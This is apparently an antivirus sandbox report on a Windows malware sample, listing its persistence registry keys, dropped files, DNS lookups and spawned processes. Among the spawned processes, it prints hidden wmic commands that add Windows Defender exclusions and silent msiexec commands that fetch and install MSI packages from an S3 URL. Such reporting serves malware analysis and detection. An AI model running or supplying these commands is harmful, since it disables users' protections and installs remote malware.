Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows NT\CurrentVersion\Windows] 'Load' = '%LOCALAPPDATA%\WinDiagnosticsParametersup\WinDiagnosticsParameters.exe�'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'WinDiagnosticsParameters' = '%LOCALAPPDATA%\WinDiagnosticsParametersup\WinDiagnosticsParameters.exe�'
Modifies file system
Creates the following files
- %TEMP%\mw-06371b27-0ee4-4e34-b27f-3ee7863d31a6\msiwrapper.ini
- %TEMP%\mw-06371b27-0ee4-4e34-b27f-3ee7863d31a6\files.cab
- %TEMP%\mw-06371b27-0ee4-4e34-b27f-3ee7863d31a6\files\$dpx$.tmp\cbe531238967f84b9a0774e477862e73.tmp
- %TEMP%\2coeuzqqgsmxlily.exe
- %APPDATA%\windiagnostics\helps\windiagnosticshelpers.exe
Deletes the following files
- %LOCALAPPDATA%\windiagnosticsparametersup\windiagnosticsparameters.exe
Moves the following files
- from %TEMP%\mw-06371b27-0ee4-4e34-b27f-3ee7863d31a6\files\$dpx$.tmp\cbe531238967f84b9a0774e477862e73.tmp to %TEMP%\mw-06371b27-0ee4-4e34-b27f-3ee7863d31a6\files\rezaza.exe
- from %TEMP%\mw-06371b27-0ee4-4e34-b27f-3ee7863d31a6\files\rezaza.exe to %LOCALAPPDATA%\windiagnosticsparametersup\windiagnosticsparameters.exe
Substitutes the following files
- %LOCALAPPDATA%\windiagnosticsparametersup\windiagnosticsparameters.exe
Network activity
TCP
HTTP GET requests
- http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt
UDP
- DNS ASK pl####.##.eu-west-2.amazonaws.com
- DNS ASK dr###.##.#u-west-2.amazonaws.com
- DNS ASK microsoft.com
Miscellaneous
Creates and executes the following
- '%TEMP%\mw-06371b27-0ee4-4e34-b27f-3ee7863d31a6\files\rezaza.exe'
- '%TEMP%\2coeuzqqgsmxlily.exe'
- '%APPDATA%\windiagnostics\helps\windiagnosticshelpers.exe'
- '%WINDIR%\syswow64\wbem\wmic.exe' /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath=%LOCALAPPDATA%' (with hidden window)
- '%WINDIR%\syswow64\wbem\wmic.exe' /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath=%APPDATA%' (with hidden window)
- '%WINDIR%\syswow64\msiexec.exe' /i https://plugsa.s3.eu-west-2.amazonaws.com/rezaza.msi /qn' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' taskkill / IM msiexec.exe' (with hidden window)
- '%WINDIR%\syswow64\msiexec.exe' /i https://plugsa.s3.eu-west-2.amazonaws.com/reza.msi /qn' (with hidden window)
- '%WINDIR%\syswow64\expand.exe' -R files.cab -F:* files' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c copy "%TEMP%\2cOEuzQqgSMXLIly.exe" "%APPDATA%\WinDiagnostics\helps\WindiagnosticsHelpers.exe"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c, "%APPDATA%\WinDiagnostics\helps\WindiagnosticsHelpers.exe"' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\wbem\wmic.exe' /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath=%LOCALAPPDATA%
- '%WINDIR%\syswow64\wbem\wmic.exe' /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath=%APPDATA%
- '%WINDIR%\syswow64\msiexec.exe' /i https://plugsa.s3.eu-west-2.amazonaws.com/rezaza.msi /qn
- '%WINDIR%\syswow64\cmd.exe' taskkill / IM msiexec.exe
- '%WINDIR%\syswow64\msiexec.exe' /i https://plugsa.s3.eu-west-2.amazonaws.com/reza.msi /qn
- '%WINDIR%\syswow64\expand.exe' -R files.cab -F:* files
- '%WINDIR%\syswow64\cmd.exe' /c copy "%TEMP%\2cOEuzQqgSMXLIly.exe" "%APPDATA%\WinDiagnostics\helps\WindiagnosticsHelpers.exe"
- '%WINDIR%\syswow64\cmd.exe' /c, "%APPDATA%\WinDiagnostics\helps\WindiagnosticsHelpers.exe"
- '%WINDIR%\microsoft.net\framework\v4.0.30319\installutil.exe'
